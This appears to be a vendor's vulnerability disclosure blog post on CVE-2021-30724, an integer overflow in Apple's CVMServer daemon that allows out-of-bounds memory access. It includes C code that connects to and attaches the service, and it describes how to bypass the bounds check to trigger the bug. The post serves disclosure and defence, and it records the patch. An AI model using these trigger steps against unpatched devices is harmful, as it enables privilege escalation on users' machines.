Exploits & Vulnerabilities
CVE-2021-30724: CVMServer Vulnerability in macOS and iOS
We discovered a vulnerability in macOS, iOS, and iPadOS rooted in the CVMServer. The vulnerability, labelled CVE-2021-30724, can allow threat actors to escalate their privilege if exploited.
We discovered a vulnerability in macOS rooted in the Core Virtual Machine Server (CVMServer). The vulnerability, labelled CVE-2021-30724, is triggered by an integer overflow leading to an out-of-bounds memory access, from which point privilege escalation can be attained. It affects devices running older versions of macOS Big Sur 11.4, iOS 14.6, and iPadOS 14.6.
This issue has already been fixed by Apple at the time of writing. This blog entry details where we discovered the vulnerability and how it can be triggered.
The CVMServer
The CVMServer is an XPC service and is a system daemon that runs in root to handle XPC requests. XPC is a framework implemented by Apple and is a low-level communication mechanism between different processes. Client processes send XPC request messages through an XPC-related API. Then the server will receive the message and handle it. One of its most frequently used clients are written in the OpenCL framework. The main logic it uses is a big switch case to dispatch many kinds of XPC messages. Figure 1 shows an example of the CVMServer’s switch case logic.
The vulnerability
The issue exists in the XPC request message handler, more specifically in the processing of a request (case msgType=18) to build an element using the OpenCL source code.
Figure 2 shows the logic in which the vulnerability exists. As shown in the image, item[3*count] is the mapped length, returned from xpc_shmem_map (seen in line 134). Meanwhile, beginOffset is controllable from the XPC request message (seen in line 135). If the value of item[3*count] is less than that of beginOffset, then according to the logic, the value of remainLen will be an integer overflow. This will lead to the check in line 144 being bypassed. Therefore, the vulnerability can be triggered by specifying item[count]=accessDataLen to a large integer (seen from line 136 to 137), which will lead to out of bounds memory access and potential privilege escalation if exploited.
Triggering the vulnerability
Figure 1 also shows that the flag context->attached is set inside case 4. This means to send the request (case msgType=18), the CVMS service must be attached and XPC request msgType=4 is sent. In turn, to send the XPC requests to the service, a connection must first be established. By searching cross-references to the API call _xpc_connection_create_mach_service we were able to get the service name “com.apple.cvmsServ,” and thus establish a connection.
int64_t cvms_connection_create(xpc_connection_t *conn) {
int64_t error = 528;
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cvmsServ", NULL, 2);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});
xpc_connection_resume(client);
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 1);
xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req);
printf("response: %s\n", xpc_copy_description(res));
if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {
error = xpc_dictionary_get_int64(res, "error");
if (!error) {
*conn = client;
}
}
return error;
}
After doing so, we attached the service, with the arguments fetched through debugging.
int64_t cvms_service_attach(xpc_connection_t conn) {
int64_t error = 528;
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 4);
xpc_dictionary_set_string(req, "framework_name", "OpenCL");
xpc_dictionary_set_string(req, "bitcode_name", "");
xpc_dictionary_set_string(req, "plugin_name", "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib");
struct AttachArgs {
int64_t a1;
int64_t a2;
} args = {0, 0x0000211000000009};//M1 Mac use 0x000021100000000a
xpc_dictionary_set_data(req, "args", &args, sizeof(args));
xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);
printf("response: %s\n", xpc_copy_description(res));
if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {
error = xpc_dictionary_get_int64(res, "error");
if (!error) {
int64_t pool_index = xpc_dictionary_get_int64(res, "pool_index");
printf("pool_index: %lld\n", pool_index);
}
}
return error;
}
After attaching the CVMS service and sending XPC request msgType=4 we can now send the request (case msgType=18) where the vulnerability is found. To better understand how this vulnerability is triggered, we explain the XPC message structure shown in Figure 2.
From line 97 to 105, we can see that request[“source”] is an XPC array, which stores the list of source code data. At line 108, 32 bytes (4 pointer size) is allocated for each array item.
The do-while loop from line 111 to 156 fills the array item with each data source value. The type of the data source value is either xpc_type_data or xpc_type_shmem. The logic here states that the address range [accessBeginPointer, accessBeginPointer+accessDataLength) must be a subset of the range [mappedBaseAddress, mappedBaseAddress+mappedLength). The logic, therefore, cheques if the value of accessDataLength is less than that of the mappedLength minus the beginOffset value. This check must be bypassed to trigger the vulnerability. Luckily for this analysis, all these values are controlled from the XPC request messages.
At line 138, there is a check for the beginOffset value where it must be less than one page or 4K in size. However, mappedLength returned from xpc_shmem_map is always set to the 4K size. This makes it seem hard to trigger the vulnerability. But examining the implementation of the function xpc_shmem_map revealed the trick — patching the mappedLength to any small value, which in our case was one, at the field offset 0x20 of the xpc_xshmem object.
With this method, we were able to bypass the check on line 144 through integer overflow, and then trigger a memory access out-of-memory by a specified large number. The trigger code could look something like the one shown in Figure 5. The full POC can be found in GitHub.
The implemented fix
Apple has already made a fix for CVE-2021-30724. The solution was simple: Add a check to avoid the integer overflow (line 178 in Figure 6). As an aside, we found that the binary CVMCompiler has the same issue, which has also been fixed using this method used for CVE-2021-30724.
While this solution works for similar cases, another perhaps more comprehensive tactic would be to put a check inside the API implementation xpc_shmem_map, as this is the root cause of the vulnerability. It is possible to grep the xpc_shmem_map API call from all system native Mach-O to hunt similar issues. In fact, this was the method we used to discover the same problem in CVMCompiler.
Security recommendations
The vulnerability is moderately difficult to trigger, but not impossible, as we had demonstrated here. If CVE-2021-30724 is left unpatched, an attacker can elevate his privileges by exploiting the vulnerability. Users should keep their devices up-to-date to receive the latest patches. Apple has released the security updates that address this issue, which are macOS Big Sur 11.4, iOS 14.6, and iPadOS 14.6. Users can also consider solutions such as the Trend Micro Antivirus for Mac and Trend Micro Protection Suites that help detect and block attacks that exploit such flaws.